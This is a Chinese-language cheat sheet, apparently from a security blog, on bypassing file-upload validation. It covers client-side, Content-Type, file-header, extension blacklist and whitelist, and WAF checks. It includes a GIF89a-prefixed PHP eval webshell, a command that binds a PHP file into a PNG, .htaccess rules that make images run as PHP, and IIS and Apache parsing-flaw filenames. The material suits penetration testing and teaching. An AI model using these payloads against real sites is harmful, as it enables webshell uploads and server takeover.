文件上传校验
*
前端javascript校验(一般只校验后缀名)
*
服务端校验
*
文件头content-type字段校验(image/gif)
*
文件内容头校验(GIF89a)
*
后缀名黑名单校验
*
后缀名白名单校验
*
WAF设备校验(根据不同的WAF产品而定)
*
其他绕过方式
1.客户端校验
判断方式:上传文件时还未点击上传按钮便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
绕过方式:1、可以用firebug将form表单中的JS事件删除,这样就可以绕过验证。
2、利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。
2.文件头content-type字段校验
绕过方式:通过抓包,将content-type字段改为image/gif或者image/png等允许上传的文件类型
3.文件内容头校验
绕过方式:
* 在一句话木马前面再加一些图片文件信息,如 GIF89a<?php @eval($_POST['caidao']);?>
*
Windows捆绑
copy 1.png /b + 2.php /a 3.png
常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG ------------ ”JPGGraphic File”
(2) .gif -------------- ”GIF 89A”
(3) .zip ------------- ”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr -------------- ”MS Compound Document v1
or Lotus Approach APRfile”
4. 后缀名黑名单校验
* 找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
*
可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
*
在window下,若文件名以"."或者空格作为结尾,系统会自动去除"."与空格, 所以可以上传以“asp.”和“asp_”为扩展名的文件
*
0x00截断绕过 <https://blog.csdn.net/qq_26090065/article/details/81458937>
*
IIS6.0解析漏洞
* 在网站下建立文件夹的名字为*.asp、*.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。例如创建目录
vidun.asp,那么/vidun.asp/f1jpg将被当作asp文件来执行。(
Burp抓包后,在目录后面添加文件夹,如upload/1.asp,而文件名还是f1.jpg)
*
上传一个 名字叫 "vidun.asp;.jpg"的木马文件,该文件可以被当作asp文件解析并执行。
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
5. 后缀名白名单校验
* 0x00截断绕过
* 此时若在iis6.0,则可以将木马名改为test.asp;1.jpg来上传,从而通过验证
* 配合解析漏洞
6.WAF设备校验
* 垃圾数据
可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容;
也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
* 上传过WAF总结-15种
<https://www.bugbank.cn/api/tweet/5a6c2ee736dd30c2949b96cd/inner?token=d68d087a72c5b96c4aed0a4761b0f8b9>
7.其他绕过方式
.htaccess文件攻击
先上传一个.htaccess文件,通过它调用php解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,无论扩展名是什么(没有也行),都会以php的方式来解析
.haccess文件代码如下:
<FilesMatch "haha"> SetHandler application/x-httpd-php </FilesMatch>
或者如下,上传一个文件名为evil.gif的图片马: <FilesMatch "evil.gif"> SetHandler
application/x-httpd-php </FilesMatch>
然后再上传haha.png即可
Apache解析漏洞
* Apache不管文件最后的后缀名是什么 ,只要是.php.*为结尾,就会被apache服务器解析成PHP的文件
* Apache的Mime.type配置文件定义了Apache能够解析哪些文件的类型。
* 当apache遇到xx.php.rar或者Xxx.php.111这些默认没有在mime.types文件定义的都会解析成php的文件。
热门工具 换一换